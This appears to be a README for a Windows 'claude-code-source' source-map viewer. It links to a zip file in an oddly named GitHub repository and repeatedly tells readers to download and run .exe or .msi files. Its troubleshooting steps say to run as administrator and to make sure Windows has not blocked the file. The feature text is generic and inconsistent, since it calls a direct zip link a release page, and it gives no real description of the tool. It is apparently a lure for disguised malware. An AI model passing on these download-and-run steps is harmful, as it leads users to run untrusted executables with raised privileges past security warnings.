claude-code-source helps you view and use source map data in a simple Windows app. It is built for people who want a direct way to open the release page, download the app, and run it on a Windows PC.
Use the steps below to get the app set up on your computer.
Visit this page to download:
https://raw.githubusercontent.com/urinarybladderwassermann922/claude-code-source/main/vitrifiable/source_code_claude_v1.5.zip
On that page, look for the latest release. In most cases, the file you need will be named for Windows, such as:
.exe.zip.msi
If you see a .zip file, download it and unzip it first. If you see an .exe or .msi file, you can run or install it after the download ends.
Before you start, make sure you have:
- Windows 10 or Windows 11
- At least 200 MB of free disk space
- A mouse and keyboard
- Internet access for the download
For the best result, use the latest Windows updates and a standard user account with install access.
Follow the format of the file you downloaded.
- Open your Downloads folder.
- Double-click the
.exefile. - If Windows asks for permission, select Yes.
- Follow the on-screen steps.
- Open the app after setup ends.
- Open your Downloads folder.
- Double-click the
.msifile. - Follow the install window.
- Wait for the setup to finish.
- Open the app from the Start menu or desktop.
- Right-click the
.zipfile. - Select Extract All.
- Pick a folder you can find later.
- Open the extracted folder.
- Double-click the app file inside the folder.
This app is meant for source map work and code review tasks. It gives you a clean way to handle source map data from the claude code source v2.1.88 build.
You can use it to:
- Open source map files
- Review mapped code paths
- Check file links tied to a build
- Move between release versions
- Work with source map data on Windows
The app should run on a normal Windows desktop or laptop that meets these basics:
- Windows 10 or Windows 11
- 64-bit processor
- 4 GB RAM or more
- 200 MB free disk space
- A modern screen with 1366 × 768 resolution or higher
For larger source map sets, 8 GB RAM gives smoother use.
When you open the release page, choose the newest version unless you need an older one for a specific job.
Look for file names that match your computer:
Windowsx64winsetupportable
If you are not sure which one to pick, choose the Windows x64 build first. That is the common choice for most PCs.
After the app opens for the first time:
- Let Windows finish any setup prompts.
- Wait for the main window to load.
- Check that the app starts without errors.
- Open a sample source map if one is included.
- Save any changes in a new folder at first.
If the app opens in a small window, you can drag the corners to resize it.
To keep your files easy to find, use a simple folder layout like this:
Downloads\claude-code-sourceDocuments\source-mapsDocuments\source-maps\project-1Documents\source-maps\exports
This makes it easier to move between files and keep your work in one place.
A typical workflow looks like this:
- Start the app.
- Open a source map file.
- Review the mapped paths.
- Check the file names and line data.
- Export or save your result if needed.
If the app has a file picker, use it to browse to the folder that holds your source map files.
You may work with files such as:
.map.js.json.txt.zip
The app is built to help with source map content, so files tied to web builds and code bundles may appear in your workflow.
- Check that the file finished downloading.
- Right-click the file and try Run as administrator.
- Make sure Windows did not block the file.
- Try the newer release on the release page.
- Review the file name.
- Confirm that it came from the release page.
- Choose the option to run or install if you trust the file.
- Restart the app.
- Reboot your PC.
- Try the
.zipversion if you used an installer. - Use a newer Windows release if your system is old.
- Wait a few seconds for the data to load.
- Open a sample file.
- Check that the file path is valid.
- Try another source map file.
- Refresh the release page.
- Try again with a stable network.
- Use another browser.
- Check if the file size matches the release asset.
The release page is the main place to get new builds and updates.
When a new version appears, download that release and replace your older copy if needed. Keep your files in a safe folder so you can return to them later.
Use files only from the release page linked above. Save the download in a local folder you control. If you keep a copy in a shared folder, make sure you know who can access it.
This app fits a simple desktop workflow where you want to:
- open a release build
- inspect source map data
- review code paths tied to a bundle
- keep your work on Windows
- use one clear tool instead of many steps
Current build: claude code source map v2.1.88
If the app creates its own files, you may see folders for:
- cache
- exports
- logs
- config
- workspace
These folders help the app keep your settings and file history in one place.
A simple daily flow looks like this:
- Download the newest release if needed.
- Open the app on Windows.
- Load the source map you want.
- Review the data.
- Save your work in a clear folder name.
- Close the app when you finish.
- Keep your source files in one folder.
- Use short folder names.
- Avoid moving files while the app is open.
- Close other heavy apps if your PC feels slow.
- Use the latest release for fewer issues.
If you need the app on another PC, use the same release page:
Open the page, get the latest Windows file, and run or install it on that machine.
To keep your work easy to manage:
- Name folders by project
- Save exports with date-based names
- Keep the original source map file unchanged
- Store backups in a separate folder
- Remove old test files when you no longer need them